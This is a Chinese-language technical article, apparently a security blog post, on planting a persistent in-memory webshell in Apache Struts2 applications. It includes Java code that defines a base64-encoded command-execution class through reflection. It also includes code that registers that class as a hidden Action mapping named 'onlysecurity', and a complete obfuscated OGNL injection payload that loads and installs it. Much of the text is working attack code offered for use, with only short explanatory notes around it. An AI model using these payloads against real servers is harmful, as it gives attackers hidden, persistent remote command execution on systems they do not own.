步履维艰之Struts2内存马
字数 692 2025-08-25 22:58:40

Struts2内存马注入技术深入解析

0x01 背景

Struts2框架因其OGNL表达式执行特性常被用于漏洞利用,但传统利用方式需要每次执行命令时重新加载恶意类,效率较低。本文探讨如何通过注入内存马实现持久化控制。

0x02 代码注入内存马成功

实现原理

在Action中直接执行代码注入内存马,通过修改Struts2的运行时配置,添加恶意Action映射。

关键步骤

  1. 配置struts.xml文件:
<action name="login111" class="com.demo.action.LoginAction" method="test2">
    <result name="success">/index.jsp</result>
</action>
  1. 在Action方法中注入内存马:
public String test2() throws Exception {
    // 获取运行时配置
    ConfigurationManager configurationManager = ConfigurationManager.getConfigurationManager();
    Configuration configuration = configurationManager.getConfiguration();
    RuntimeConfiguration runtimeConfiguration = configuration.getRuntimeConfiguration();
    
    // 获取namespaceActionConfigs映射
    Map<String, Map<String, ActionConfig>> namespaceActionConfigs = runtimeConfiguration.getNamespaceActionConfigs();
    
    // 创建恶意Action配置
    ActionConfig actionConfig = new ActionConfig.Builder("", "onlysecurity", "com.demo.action.Cmd").build();
    
    // 添加恶意Action映射
    Map<String, ActionConfig> actionConfigs = namespaceActionConfigs.get("");
    actionConfigs.put("onlysecurity", actionConfig);
    
    return SUCCESS;
}

0x03 OGNL注入内存马失败分析

0x001 OGNL注入失败问题

  1. 类加载器问题:OGNL表达式执行环境与Web应用类加载器隔离,无法直接访问ActionContext等关键类
  2. 线程创建限制:在OGNL表达式中创建新线程存在限制

0x002 问题1解决方案尝试

尝试通过ClassLoader.defineClass直接加载类:

String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
URLClassLoader loader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
byte[] decode = java.util.Base64.getDecoder().decode(s);
java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
var47.setAccessible(true);
var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);

0x003 问题2解决方案

通过#this.class.getClassLoader()获取正确的类加载器:

ClassLoader loader = Thread.currentThread().getContextClassLoader();
System.out.println(loader);

0x04 OGNL注入内存马最终方案

完整实现代码

import java.util.LinkedHashMap;

public class hello {
    public hello(java.util.Map obj5) throws Exception {
        try {
            String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAMAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            System.out.println(loader);
            byte[] decode = java.util.Base64.getDecoder().decode(s);
            java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
            var47.setAccessible(true);
            var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
            try {
                java.lang.reflect.Constructor<?> constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig").getDeclaredConstructor(new Class[]{String.class, String.class, String.class});
                constructor.setAccessible(true);

                java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("");
                o1.put("onlysecurity",  constructor.newInstance("f0ng", "onlysecurity", "com.demo.action.Cmd"));

            }catch (Exception e2) {
            }

        }catch (Exception e){
        }
    }
    public static void main(String[] args, java.util.Map obj5) throws Exception {
        hello aa = new hello(obj5);
    }
}

OGNL注入Payload

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#inv=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation'),#f2=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation').getClass().getDeclaredField("proxy"),#f2.setAccessible(true),#obj=#f2.get(#inv),#f3=#obj.getClass().getSuperclass().getDeclaredField("configuration"),#f3.setAccessible(true),#obj2=#f3.get(#obj),#f4=#obj2.getClass().getDeclaredField("runtimeConfiguration"),#f4.setAccessible(true),#obj3=#f4.get(#obj2),#f5=#obj3.getClass().getDeclaredField("namespaceActionConfigs"),#f5.setAccessible(true),#obj4=#f5.get(#obj3),#f6=#obj4.getClass().getDeclaredField("m"),#f6.setAccessible(true),#obj5=#f6.get(#obj4),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/xxxxx/")},#cc0=new java.net.URLClassLoader(#bb0,#this.class.getClassLoader()),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},#obj5),#ot.println(ClassLoader.getSystemClassLoader()),#ot.flush(),#ot.close()}

0x05 总结

关键技术点

  1. 类加载器选择:必须使用#this.class.getClassLoader()获取正确的Web应用类加载器
  2. 反射机制:通过反射修改Struts2运行时配置
  3. 内存马注入:动态添加恶意Action映射实现持久化

0x06 坑点

  1. 命名空间处理

    • 如果context有后缀,使用obj5.get("")
    • 没有后缀时,使用obj5.get("/")
  2. 调试技巧

    // 捕获异常并输出到文件
    try {
        // 代码逻辑
    } catch(Exception e) {
        new FileWriter("/tmp/error.txt").write(new String(Arrays.toString(e.getStackTrace())));
    }
    

0x07 参考

Struts2内存马注入技术深入解析 0x01 背景 Struts2框架因其OGNL表达式执行特性常被用于漏洞利用,但传统利用方式需要每次执行命令时重新加载恶意类,效率较低。本文探讨如何通过注入内存马实现持久化控制。 0x02 代码注入内存马成功 实现原理 在Action中直接执行代码注入内存马,通过修改Struts2的运行时配置,添加恶意Action映射。 关键步骤 配置struts.xml文件: 在Action方法中注入内存马: 0x03 OGNL注入内存马失败分析 0x001 OGNL注入失败问题 类加载器问题 :OGNL表达式执行环境与Web应用类加载器隔离,无法直接访问ActionContext等关键类 线程创建限制 :在OGNL表达式中创建新线程存在限制 0x002 问题1解决方案尝试 尝试通过ClassLoader.defineClass直接加载类: 0x003 问题2解决方案 通过 #this.class.getClassLoader() 获取正确的类加载器: 0x04 OGNL注入内存马最终方案 完整实现代码 OGNL注入Payload 0x05 总结 关键技术点 类加载器选择 :必须使用 #this.class.getClassLoader() 获取正确的Web应用类加载器 反射机制 :通过反射修改Struts2运行时配置 内存马注入 :动态添加恶意Action映射实现持久化 0x06 坑点 命名空间处理 : 如果context有后缀,使用 obj5.get("") 没有后缀时,使用 obj5.get("/") 调试技巧 : 0x07 参考